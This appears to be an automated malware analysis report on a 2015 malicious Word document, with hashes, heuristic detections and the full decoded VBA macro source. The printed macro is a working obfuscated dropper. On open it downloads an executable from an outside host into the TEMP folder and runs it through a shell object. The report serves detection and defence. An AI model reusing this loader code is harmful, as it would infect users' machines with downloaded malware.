Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b4c6e800cd3d908a…

MALICIOUS

Office (OLE)

37.5 KB Created: 2015-03-10 00:32:00 Authoring application: Microsoft Office Word First seen: 2015-03-15
MD5: f395cee3147a5636adbb5a5fa93cfe8c SHA-1: 435f32ae9c65b08a3db83f13afb4c2b0a8df748c SHA-256: b4c6e800cd3d908ae316c6186ca7758d71400ad0c120814f844d3e4764b1e90a
378 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The `autoopen` macro triggers the execution of other VBA functions that utilize the `URLDownloadToFile` API, indicating an intent to download and execute a second-stage payload. The presence of `CreateObject` and `Shell` calls further supports this dropper functionality.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-1584796 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1584796
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        "URLDownloadToFileA" (ByVal BHGBkjsdfF As LongPtr, _
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set гнГШАПшвыа = CreateObject(QSzFZhQCxywB(Chr$(83) & Chr$(132) & Chr$(104) & Chr$(55) & Chr$(101) & Chr$(87) & Chr$(108) & Chr$(89) & Chr$(108) & Chr$(131) & Chr$(46) & Chr$(133) & Chr$(65) & Chr$(52) & Chr$(112) & Chr$(97) & Chr$(112) & Chr$(61) & Chr$(108) & Chr$(117) & Chr$(105) & Chr$(47) & Chr$(99) & Chr$(110) & Chr$(97) & Chr$(122) & Chr$(116) & Chr$(59) & Chr$(105) & Chr$(75) & Chr$(111) & Chr$(54) & Chr$(110) & Chr$(115)))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set гнГШАПшвыа = CreateObject(QSzFZhQCxywB(Chr$(83) & Chr$(132) & Chr$(104) & Chr$(55) & Chr$(101) & Chr$(87) & Chr$(108) & Chr$(89) & Chr$(108) & Chr$(131) & Chr$(46) & Chr$(133) & Chr$(65) & Chr$(52) & Chr$(112) & Chr$(97) & Chr$(112) & Chr$(61) & Chr$(108) & Chr$(117) & Chr$(105) & Chr$(47) & Chr$(99) & Chr$(110) & Chr$(97) & Chr$(122) & Chr$(116) & Chr$(59) & Chr$(105) & Chr$(75) & Chr$(111) & Chr$(54) & Chr$(110) & Chr$(115)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ваывААывпыва QSzFZhQCxywB("h<tQtFpi:I/t/Uajwubnr„sA.]cloomЃ.Ja@uy/}jWsc/$b4i„n\.SeTxQe["), Environ(QSzFZhQCxywB("TsMQPQ")) & QSzFZhQCxywB("\8f9JmC}h1jhf)geD06R7i5SeNDBTeU_.'elxЂe(")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5246 bytes
SHA-256: eca5cca258c33ceef90dab10e2b6b06a9a659d881943806e190b751ebe64da85
Detection
ClamAV: No threats found
Obfuscation or payload: likely
45 of 81 identifiers look randomly generated (e.g. 'hCrVyddxzYMxnu12') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
atqk_x482mp6v
End Sub

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub JHyKASbxIHuhtS84()
Dim geRVTgYKeFHEkG74 As Integer
For geRVTgYKeFHEkG74 = 6 To Jl
DoEvents
Next geRVTgYKeFHEkG74
Dim vLMDtrhALGmHPA31 As String
vLMDtrhALGmHPA31 = "CtlLoYxCdDrrCR11"
End Sub

Public Sub xlvLhuAzNZGLWN89()
Dim WTCBlIIcmnviie69 As Integer
For WTCBlIIcmnviie69 = 3 To yB
DoEvents
Next WTCBlIIcmnviie69
Dim txdGLvkuqZelnG26 As String
txdGLvkuqZelnG26 = "EIQWCNvZTnSUDK16"
End Sub

Public Sub ofWOXlANArfREH64()
Dim lrqvxpqOjtKHXZ44 As Integer
For lrqvxpqOjtKHXZ44 = 9 To sb
DoEvents
Next lrqvxpqOjtKHXZ44
Dim JhORnQktQeAtoT34 As String
JhORnQktQeAtoT34 = "auVlNAaFAtyjZk14"
End Sub

Public Sub iTpzwmkdrKMuCX21()
Dim TJIibCvUvHEwoB11 As Integer
For TJIibCvUvHEwoB11 = 9 To LW
DoEvents
Next TJIibCvUvHEwoB11
Dim HIVVBSikgJiUZQ81 As String
HIVVBSikgJiUZQ81 = "fMxregfSOGJXGF72"
End Sub

Public Sub pIJXclhCxOCUIg61()
Dim UMhzAWxkJUYXMk41 As Integer
For UMhzAWxkJUYXMk41 = 9 To EN
DoEvents
Next UMhzAWxkJUYXMk41
Dim KQTKzQyaUIqifr31 As String
KQTKzQyaUIqifr31 = "hCrVyddxzYMxnu12"
End Sub

Public Sub vpkmlyrWJDiBrW25()
Dim XwHnxUqjsQJfjV15 As Integer
For XwHnxUqjsQJfjV15 = 3 To nR
DoEvents
Next XwHnxUqjsQJfjV15
Dim usyhXcMNzSwbPP86 As String
usyhXcMNzSwbPP86 = "RvRwNBawxPtDCD76"
End Sub

Public Sub uxtXPcgVNZdndx27()
Dim kflSpdVIGEJSTo17 As Integer
For kflSpdVIGEJSTo17 = 9 To Ev
DoEvents
Next kflSpdVIGEJSTo17
Dim GbKKfGrepAnaKs88 As String
GbKKfGrepAnaKs88 = "NhiUFRDSNEtdqV78"
End Sub

Public Sub XNMdWIxljyiqdn33()
Dim ldllVpEGQrJvvE23 As Integer
For ldllVpEGQrJvvE23 = 7 To fn
DoEvents
Next ldllVpEGQrJvvE23
Dim EeIivNdvntwPKh93 As String
EeIivNdvntwPKh93 = "zgufZAlMWetBtl83"
End Sub

Public Sub CeAuCYmrOCqQVL73()
Dim wgNdaiAbrWMBpX53 As Integer
For wgNdaiAbrWMBpX53 = 7 To VT
DoEvents
Next wgNdaiAbrWMBpX53
Dim TyhzAVqoLXvsEI43 As String
TyhzAVqoLXvsEI43 = "rkFiRnkRfMibHQ23"
End Sub

Public Sub dRzRKlperameln47()
Dim PHnPXMhvvBrjYE27 As Integer
For PHnPXMhvvBrjYE27 = 1 To UF
DoEvents
Next PHnPXMhvvBrjYE27
Dim MUHnwPBigNIZNg97 As String
MUHnwPBigNIZNg97 = "lLgYbsyEIVkJdl88"
End Sub



Attribute VB_Name = "аываываАавп"
#If VBA7 Then
    Private Declare PtrSafe Function ОрвааМРОлвпвап Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal BHGBkjsdfF As LongPtr, _
    ByVal РОАравыраГОвп As String, _
    ByVal РОАравыраГОвпf As String, _
    ByVal РОАравыраГОвпfd As Long, _
    ByVal РОАравыраГОвпfds As LongPtr) As LongPtr
#Else
    Private Declare Function ОрвааМРОлвпвап Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal BHGBkjsdfF As Long, _
    ByVal РОАравыраГОвп As String, _
    ByVal РОАравыраГОвпf As String, _
    ByVal РОАравыраГОвпfd As Long, _
    ByVal РОАравыраГОвпfds As Long) As Long
#End If
Sub atqk_x482mp6v()
ваывААывпыва QSzFZhQCxywB("h<tQtFpi:I/t/Uajwubnr„sA.]cloomЃ.Ja@uy/}jWsc/$b4i„n\.SeTxQe["), Environ(QSzFZhQCxywB("TsMQPQ")) & QSzFZhQCxywB("\8f9JmC}h1jhf)geD06R7i5SeNDBTeU_.'elxЂe(")
End Sub
Function ваывААывпыва(z0ktwRXRQZl2qo0_ As String, d4ok1z1Z0N As String) As Boolean
ПРываА = ОрвааМРОлвпвап(0&, z0ktwRXRQZl2qo0_, d4ok1z1Z0N, 0&, 0&)
Set гнГШАПшвыа = CreateObject(QSzFZhQCxywB(Chr$(83) & Chr$(132) & Chr$(104) & Chr$(55) & Chr$(101) & Chr$(87) & Chr$(108) & Chr$(89) & Chr$(108) & Chr$(131) & Chr$(46) & Chr$(133) & Chr$(65) & Chr$(52) & Chr$(112) & Chr$(97) & Chr$(112) & Chr$(61) & Chr$(108) & Chr$(117) & Chr$(105) & Chr$(47) & Chr$(99) & Chr$(110) & Chr$(97) & Chr$(122) & Chr$(116) & Chr$(59) & Chr$(105) & Chr$(75) & Chr$(111) & Chr$(54) & Chr$(110) & Chr$(115)))
гнГШАПшвыа.Open Environ(QSzFZhQCxywB(Chr$(84) & Chr$(106) & Chr$(77) & Chr$(107) & Chr$(80) & Chr$(104))) & QSzFZhQCxywB(Chr$(92) & Chr$(114) & Chr$(102) & Chr$(85) & Chr$(74) & Chr$(71) & Chr$(67) & Chr$(85) & Chr$(104) & Chr$(43) & Chr$(106) & Chr$(95) & Chr$(102) & Chr$(67) & Chr$(103) & Chr$(98) & Chr$(68) & Chr$(105) & Chr$(54) & Chr$(110) & Chr$(55) & Chr$(94) & Chr$(53) & Chr$(42) & Chr$(101) & Chr$(98) & Chr$(68) & Chr$(57) & Chr$(84) & Chr$(127) & Chr$(85) & Chr$(118) & Chr$(46) & Chr$(96) & Chr$(101) & Chr$(36) & Chr$(120) & Chr$(117) & Chr$(101) & Chr$(100))
End Function




Attribute VB_Name = "апавпППавп"

Public Function QSzFZhQCxywB(CwOLiEdjfquIe As String) As String
For pytQnFatnd = 1 To Len(CwOLiEdjfquIe) Step 2
QSzFZhQCxywB = QSzFZhQCxywB & Mid(CwOLiEdjfquIe, pytQnFatnd, 1)
Next
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.